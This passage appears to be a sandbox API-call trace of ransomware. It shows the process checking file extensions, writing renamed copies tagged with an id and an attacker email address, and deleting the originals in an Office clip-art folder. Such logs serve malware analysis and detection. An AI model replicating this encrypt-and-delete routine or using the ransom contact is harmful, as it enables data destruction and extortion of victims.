	[0190.199] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.199] lstrlenW (lpString=".ppt") returned 4
	[0190.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.199] lstrlenW (lpString=".zip") returned 4
	[0190.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.200] lstrlenW (lpString=".rar") returned 4
	[0190.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.200] lstrlenW (lpString=".bz2") returned 4
	[0190.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.200] lstrlenW (lpString=".7z") returned 3
	[0190.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.200] lstrlenW (lpString=".dbf") returned 4
	[0190.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.200] lstrlenW (lpString=".1cd") returned 4
	[0190.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.200] lstrlenW (lpString=".jpg") returned 4
	[0190.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.200] lstrlenW (lpString=".doc") returned 4
	[0190.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.200] lstrlenW (lpString=".docx") returned 5
	[0190.200] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.200] lstrlenW (lpString=".pdf") returned 4
	[0190.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.200] lstrlenW (lpString=".xls") returned 4
	[0190.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.201] lstrlenW (lpString=".xlsx") returned 5
	[0190.201] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.201] lstrlenW (lpString=".ppt") returned 4
	[0190.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.201] lstrlenW (lpString=".zip") returned 4
	[0190.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.201] lstrlenW (lpString=".rar") returned 4
	[0190.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.201] lstrlenW (lpString=".bz2") returned 4
	[0190.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.201] lstrlenW (lpString=".7z") returned 3
	[0190.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.201] lstrlenW (lpString=".dbf") returned 4
	[0190.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.201] lstrlenW (lpString=".1cd") returned 4
	[0190.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.201] lstrlenW (lpString=".jpg") returned 4
	[0190.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.202] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.202] lstrlenW (lpString="J0105244.WMF") returned 12
	[0190.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.203] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=11228) returned 1
	[0190.203] CloseHandle (hObject=0x5ac) returned 1
	[0190.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220
	[0190.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.204] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.204] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0190.205] GetLastError () returned 0x0
	[0190.205] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2bdc, lpOverlapped=0x0) returned 1
	[0190.208] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0190.209] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.209] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.209] SetEndOfFile (hFile=0x5e0) returned 1
	[0190.210] CloseHandle (hObject=0x5e0) returned 1
	[0190.210] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.210] SetEndOfFile (hFile=0x5ac) returned 1
	[0190.213] CloseHandle (hObject=0x5ac) returned 1
	[0190.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1
	[0190.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.215] lstrlenW (lpString=".doc") returned 4
	[0190.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.452] lstrlenW (lpString=".docx") returned 5
	[0190.452] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0190.453] lstrlenW (lpString=".pdf") returned 4
	[0190.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.453] lstrlenW (lpString=".xls") returned 4
	[0190.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.453] lstrlenW (lpString=".xlsx") returned 5
	[0190.453] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0190.453] lstrlenW (lpString=".ppt") returned 4
	[0190.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.473] lstrlenW (lpString=".zip") returned 4
	[0190.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.473] lstrlenW (lpString=".rar") returned 4
	[0190.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.481] lstrlenW (lpString=".bz2") returned 4
	[0190.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.481] lstrlenW (lpString=".7z") returned 3
	[0190.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.482] lstrlenW (lpString=".dbf") returned 4
	[0190.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.482] lstrlenW (lpString=".1cd") returned 4
	[0190.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.482] lstrlenW (lpString=".jpg") returned 4
	[0190.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.482] lstrlenW (lpString=".doc") returned 4
	[0190.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.482] lstrlenW (lpString=".docx") returned 5
	[0190.482] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0190.482] lstrlenW (lpString=".pdf") returned 4
	[0190.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.482] lstrlenW (lpString=".xls") returned 4
	[0190.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.482] lstrlenW (lpString=".xlsx") returned 5
	[0190.482] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0190.483] lstrlenW (lpString=".ppt") returned 4
	[0190.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.483] lstrlenW (lpString=".zip") returned 4
	[0190.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.483] lstrlenW (lpString=".rar") returned 4
	[0190.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.483] lstrlenW (lpString=".bz2") returned 4
	[0190.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.483] lstrlenW (lpString=".7z") returned 3
	[0190.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.483] lstrlenW (lpString=".dbf") returned 4
	[0190.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.483] lstrlenW (lpString=".1cd") returned 4
	[0190.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0190.483] lstrlenW (lpString=".jpg") returned 4
	[0190.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.483] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.483] lstrlenW (lpString="J0105280.WMF") returned 12
	[0190.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.485] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=11540) returned 1
	[0190.485] CloseHandle (hObject=0x580) returned 1
	[0190.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220
	[0190.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.486] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.486] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.487] GetLastError () returned 0x0
	[0190.487] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2d14, lpOverlapped=0x0) returned 1
	[0190.491] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2d20, lpOverlapped=0x0) returned 1
	[0190.493] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.493] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.493] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.493] CloseHandle (hObject=0x5c8) returned 1
	[0190.493] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.493] SetEndOfFile (hFile=0x580) returned 1
	[0190.496] CloseHandle (hObject=0x580) returned 1
	[0190.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1
	[0190.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.498] lstrlenW (lpString=".doc") returned 4
	[0190.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.498] lstrlenW (lpString=".docx") returned 5
	[0190.498] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.498] lstrlenW (lpString=".pdf") returned 4
	[0190.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.498] lstrlenW (lpString=".xls") returned 4
	[0190.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.498] lstrlenW (lpString=".xlsx") returned 5
	[0190.498] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.498] lstrlenW (lpString=".ppt") returned 4
	[0190.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.498] lstrlenW (lpString=".zip") returned 4
	[0190.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.498] lstrlenW (lpString=".rar") returned 4
	[0190.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.498] lstrlenW (lpString=".bz2") returned 4
	[0190.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.499] lstrlenW (lpString=".7z") returned 3
	[0190.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.499] lstrlenW (lpString=".dbf") returned 4
	[0190.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.499] lstrlenW (lpString=".1cd") returned 4
	[0190.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.499] lstrlenW (lpString=".jpg") returned 4
	[0190.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.499] lstrlenW (lpString=".doc") returned 4
	[0190.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.499] lstrlenW (lpString=".docx") returned 5
	[0190.499] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.499] lstrlenW (lpString=".pdf") returned 4
	[0190.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.499] lstrlenW (lpString=".xls") returned 4
	[0190.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.499] lstrlenW (lpString=".xlsx") returned 5
	[0190.499] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.499] lstrlenW (lpString=".ppt") returned 4
	[0190.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.499] lstrlenW (lpString=".zip") returned 4
	[0190.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.500] lstrlenW (lpString=".rar") returned 4
	[0190.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.500] lstrlenW (lpString=".bz2") returned 4
	[0190.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.500] lstrlenW (lpString=".7z") returned 3
	[0190.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.500] lstrlenW (lpString=".dbf") returned 4
	[0190.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.500] lstrlenW (lpString=".1cd") returned 4
	[0190.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0190.500] lstrlenW (lpString=".jpg") returned 4
	[0190.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.500] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.500] lstrlenW (lpString="J0105282.WMF") returned 12
	[0190.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.501] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=4796) returned 1
	[0190.501] CloseHandle (hObject=0x580) returned 1
	[0190.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220
	[0190.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.502] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.502] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.503] GetLastError () returned 0x0
	[0190.503] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0190.505] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0190.506] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.506] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.506] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.506] CloseHandle (hObject=0x5c8) returned 1
	[0190.507] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.507] SetEndOfFile (hFile=0x580) returned 1
	[0190.510] CloseHandle (hObject=0x580) returned 1
	[0190.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1
	[0190.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.511] lstrlenW (lpString=".doc") returned 4
	[0190.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.511] lstrlenW (lpString=".docx") returned 5
	[0190.511] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.511] lstrlenW (lpString=".pdf") returned 4
	[0190.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.511] lstrlenW (lpString=".xls") returned 4
	[0190.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.512] lstrlenW (lpString=".xlsx") returned 5
